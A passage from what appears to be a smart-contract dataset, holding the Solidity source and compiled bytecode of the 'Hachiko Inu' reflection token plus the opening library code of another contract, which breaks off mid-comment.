internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract HachikoInu is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000 * 10**18; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = 'Hachiko Inu'; string private _symbol = 'Inu'; uint8 private _decimals = 18; uint256 public _maxTxAmount = 1000000000000000 * 10**18; constructor () public { _rOwned[_msgSender()] = _rTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { _maxTxAmount = _tTotal.mul(maxTxPercent).div( 10**2 ); } function reflect(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeAccount(address account) external onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(sender != owner() && recipient != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee); } function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) { uint256 tFee = tAmount.div(100).mul(5); uint256 tTransferAmount = tAmount.sub(tFee); return (tTransferAmount, tFee); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x608060405234801561001057600080fd5b506004361061014d5760003560e01c8063715018a6116100c3578063cba0e9961161007c578063cba0e996146103cc578063d543dbeb146103f2578063dd62ed3e1461040f578063f2cc0c181461043d578063f2fde38b14610463578063f84354f1146104895761014d565b8063715018a6146103385780637d1db4a5146103405780638da5cb5b1461034857806395d89b411461036c578063a457c2d714610374578063a9059cbb146103a05761014d565b806323b872dd1161011557806323b872dd146102505780632d83811914610286578063313ce567146102a357806339509351146102c15780634549b039146102ed57806370a08231146103125761014d565b8063053ab1821461015257806306fdde0314610171578063095ea7b3146101ee57806313114a9d1461022e57806318160ddd14610248575b600080fd5b61016f6004803603602081101561016857600080fd5b50356104af565b005b610179610587565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101b357818101518382015260200161019b565b50505050905090810190601f1680156101e05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61021a6004803603604081101561020457600080fd5b506001600160a01b03813516906020013561061d565b604080519115158252519081900360200190f35b61023661063b565b60408051918252519081900360200190f35b610236610641565b61021a6004803603606081101561026657600080fd5b506001600160a01b03813581169160208101359091169060400135610652565b6102366004803603602081101561029c57600080fd5b50356106d9565b6102ab61073b565b6040805160ff9092168252519081900360200190f35b61021a600480360360408110156102d757600080fd5b506001600160a01b038135169060200135610744565b6102366004803603604081101561030357600080fd5b50803590602001351515610792565b6102366004803603602081101561032857600080fd5b50356001600160a01b031661082d565b61016f61088f565b610236610931565b610350610937565b604080516001600160a01b039092168252519081900360200190f35b610179610946565b61021a6004803603604081101561038a57600080fd5b506001600160a01b0381351690602001356109a7565b61021a600480360360408110156103b657600080fd5b506001600160a01b038135169060200135610a0f565b61021a600480360360208110156103e257600080fd5b50356001600160a01b0316610a23565b61016f6004803603602081101561040857600080fd5b5035610a41565b6102366004803603604081101561042557600080fd5b506001600160a01b0381358116916020013516610ac1565b61016f6004803603602081101561045357600080fd5b50356001600160a01b0316610aec565b61016f6004803603602081101561047957600080fd5b50356001600160a01b0316610c72565b61016f6004803603602081101561049f57600080fd5b50356001600160a01b0316610d6a565b60006104b9610f2b565b6001600160a01b03811660009081526004602052604090205490915060ff16156105145760405162461bcd60e51b815260040180806020018281038252602c815260200180611b97602c913960400191505060405180910390fd5b600061051f83610f2f565b505050506001600160a01b0383166000908152600160205260409020549091506105499082610f7b565b6001600160a01b03831660009081526001602052604090205560065461056f9082610f7b565b60065560075461057f9084610fc4565b600755505050565b60088054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156106135780601f106105e857610100808354040283529160200191610613565b820191906000526020600020905b8154815290600101906020018083116105f657829003601f168201915b5050505050905090565b600061063161062a610f2b565b848461101e565b5060015b92915050565b60075490565b6918a6e32246c99c60ad8560211b90565b600061065f84848461110a565b6106cf8461066b610f2b565b6106ca85604051806060016040528060288152602001611add602891396001600160a01b038a166000908152600360205260408120906106a9610f2b565b6001600160a01b0316815260208101919091526040016000205491906113b4565b61101e565b5060019392505050565b600060065482111561071c5760405162461bcd60e51b815260040180806020018281038252602a815260200180611a22602a913960400191505060405180910390fd5b600061072661144b565b9050610732838261146e565b9150505b919050565b600a5460ff1690565b6000610631610751610f2b565b846106ca8560036000610762610f2b565b6001600160a01b03908116825260208083019390935260409182016000908120918c168152925290205490610fc4565b60006918a6e32246c99c60ad8560211b8311156107f6576040805162461bcd60e51b815260206004820152601f60248201527f416d6f756e74206d757374206265206c657373207468616e20737570706c7900604482015290519081900360640190fd5b8161081457600061080684610f2f565b509294506106359350505050565b600061081f84610f2f565b509194506106359350505050565b6001600160a01b03811660009081526004602052604081205460ff161561086d57506001600160a01b038116600090815260026020526040902054610736565b6001600160a01b038216600090815260016020526040902054610635906106d9565b610897610f2b565b6000546001600160a01b039081169116146108e7576040805162461bcd60e51b81526020600482018190526024820152600080516020611b05833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600b5481565b6000546001600160a01b031690565b60098054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156106135780601f106105e857610100808354040283529160200191610613565b60006106316109b4610f2b565b846106ca85604051806060016040528060258152602001611bc360259139600360006109de610f2b565b6001600160a01b03908116825260208083019390935260409182016000908120918d168152925290205491906113b4565b6000610631610a1c610f2b565b848461110a565b6001600160a01b031660009081526004602052604090205460ff1690565b610a49610f2b565b6000546001600160a01b03908116911614610a99576040805162461bcd60e51b81526020600482018190526024820152600080516020611b05833981519152604482015290519081900360640190fd5b610abb6064610ab56918a6e32246c99c60ad8560211b846114b0565b9061146e565b600b5550565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b610af4610f2b565b6000546001600160a01b03908116911614610b44576040805162461bcd60e51b81526020600482018190526024820152600080516020611b05833981519152604482015290519081900360640190fd5b6001600160a01b03811660009081526004602052604090205460ff1615610bb2576040805162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c756465640000000000604482015290519081900360640190fd5b6001600160a01b03811660009081526001602052604090205415610c0c576001600160a01b038116600090815260016020526040902054610bf2906106d9565b6001600160a01b0382166000908152600260205260409020555b6001600160a01b03166000818152600460205260408120805460ff191660019081179091556005805491820181559091527f036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db00180546001600160a01b0319169091179055565b610c7a610f2b565b6000546001600160a01b03908116911614610cca576040805162461bcd60e51b81526020600482018190526024820152600080516020611b05833981519152604482015290519081900360640190fd5b6001600160a01b038116610d0f5760405162461bcd60e51b8152600401808060200182810382526026815260200180611a4c6026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b610d72610f2b565b6000546001600160a01b03908116911614610dc2576040805162461bcd60e51b81526020600482018190526024820152600080516020611b05833981519152604482015290519081900360640190fd5b6001600160a01b03811660009081526004602052604090205460ff16610e2f576040805162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c756465640000000000604482015290519081900360640190fd5b60005b600554811015610f2757816001600160a01b031660058281548110610e5357fe5b6000918252602090912001546001600160a01b03161415610f1f57600580546000198101908110610e8057fe5b600091825260209091200154600580546001600160a01b039092169183908110610ea657fe5b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600282526040808220829055600490925220805460ff191690556005805480610ef857fe5b600082815260209020810160001990810180546001600160a01b0319169055019055610f27565b600101610e32565b5050565b3390565b6000806000806000806000610f4388611509565b915091506000610f5161144b565b90506000806000610f638c868661153c565b919e909d50909b509599509397509395505050505050565b6000610fbd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113b4565b9392505050565b600082820183811015610fbd576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6001600160a01b0383166110635760405162461bcd60e51b8152600401808060200182810382526024815260200180611b736024913960400191505060405180910390fd5b6001600160a01b0382166110a85760405162461bcd60e51b8152600401808060200182810382526022815260200180611a726022913960400191505060405180910390fd5b6001600160a01b03808416600081815260036020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b03831661114f5760405162461bcd60e51b8152600401808060200182810382526025815260200180611b4e6025913960400191505060405180910390fd5b6001600160a01b0382166111945760405162461bcd60e51b81526004018080602001828103825260238152602001806119ff6023913960400191505060405180910390fd5b600081116111d35760405162461bcd60e51b8152600401808060200182810382526029815260200180611b256029913960400191505060405180910390fd5b6111db610937565b6001600160a01b0316836001600160a01b03161415801561121557506111ff610937565b6001600160a01b0316826001600160a01b031614155b1561125b57600b5481111561125b5760405162461bcd60e51b8152600401808060200182810382526028815260200180611a946028913960400191505060405180910390fd5b6001600160a01b03831660009081526004602052604090205460ff16801561129c57506001600160a01b03821660009081526004602052604090205460ff16155b156112b1576112ac838383611578565b6113af565b6001600160a01b03831660009081526004602052604090205460ff161580156112f257506001600160a01b03821660009081526004602052604090205460ff165b15611302576112ac83838361168f565b6001600160a01b03831660009081526004602052604090205460ff1615801561134457506001600160a01b03821660009081526004602052604090205460ff16155b15611354576112ac838383611735565b6001600160a01b03831660009081526004602052604090205460ff16801561139457506001600160a01b03821660009081526004602052604090205460ff165b156113a4576112ac838383611776565b6113af838383611735565b505050565b600081848411156114435760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156114085781810151838201526020016113f0565b50505050905090810190601f1680156114355780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b60008060006114586117e6565b9092509050611467828261146e565b9250505090565b6000610fbd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611975565b6000826114bf57506000610635565b828202828482816114cc57fe5b0414610fbd5760405162461bcd60e51b8152600401808060200182810382526021815260200180611abc6021913960400191505060405180910390fd5b60008080611523600561151d86606461146e565b906114b0565b905060006115318583610f7b565b935090915050915091565b600080808061154b87866114b0565b9050600061155987876114b0565b905060006115678383610f7b565b929992985090965090945050505050565b600080600080600061158986610f2f565b6001600160a01b038d16600090815260026020526040902054949950929750909550935091506115b99087610f7b565b6001600160a01b0389166000908152600260209081526040808320939093556001905220546115e89086610f7b565b6001600160a01b03808a1660009081526001602052604080822093909355908916815220546116179085610fc4565b6001600160a01b03881660009081526001602052604090205561163a83826119da565b866001600160a01b0316886001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050505050565b60008060008060006116a086610f2f565b6001600160a01b038d16600090815260016020526040902054949950929750909550935091506116d09086610f7b565b6001600160a01b03808a16600090815260016020908152604080832094909455918a168152600290915220546117069083610fc4565b6001600160a01b0388166000908152600260209081526040808320939093556001905220546116179085610fc4565b600080600080600061174686610f2f565b6001600160a01b038d16600090815260016020526040902054949950929750909550935091506115e89086610f7b565b600080600080600061178786610f2f565b6001600160a01b038d16600090815260026020526040902054949950929750909550935091506117b79087610f7b565b6001600160a01b0389166000908152600260209081526040808320939093556001905220546116d09086610f7b565b60065460009081906918a6e32246c99c60ad8560211b825b60055481101561192d5782600160006005848154811061181a57fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054118061187f575081600260006005848154811061185857fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b156118a1576006546918a6e32246c99c60ad8560211b94509450505050611971565b6118e160016000600584815481106118b557fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548490610f7b565b925061192360026000600584815481106118f757fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548390610f7b565b91506001016117fe565b50600654611948906918a6e32246c99c60ad8560211b61146e565b82101561196b576006546918a6e32246c99c60ad8560211b935093505050611971565b90925090505b9091565b600081836119c45760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156114085781810151838201526020016113f0565b5060008385816119d057fe5b0495945050505050565b6006546119e79083610f7b565b6006556007546119f79082610fc4565b600755505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f20616464726573735472616e7366657220616d6f756e74206578636565647320746865206d61785478416d6f756e742e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f20616464726573734578636c75646564206164647265737365732063616e6e6f742063616c6c20746869732066756e6374696f6e45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122000d7da86b20a7cc82ba53b4c253b0c4c147a1c1e708a9c00530d4f541fc894aa64736f6c634300060c0033
[ 4 ]
0xf32b1c2e4bf5c1fcc4b630a0741542514673a9af
pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * 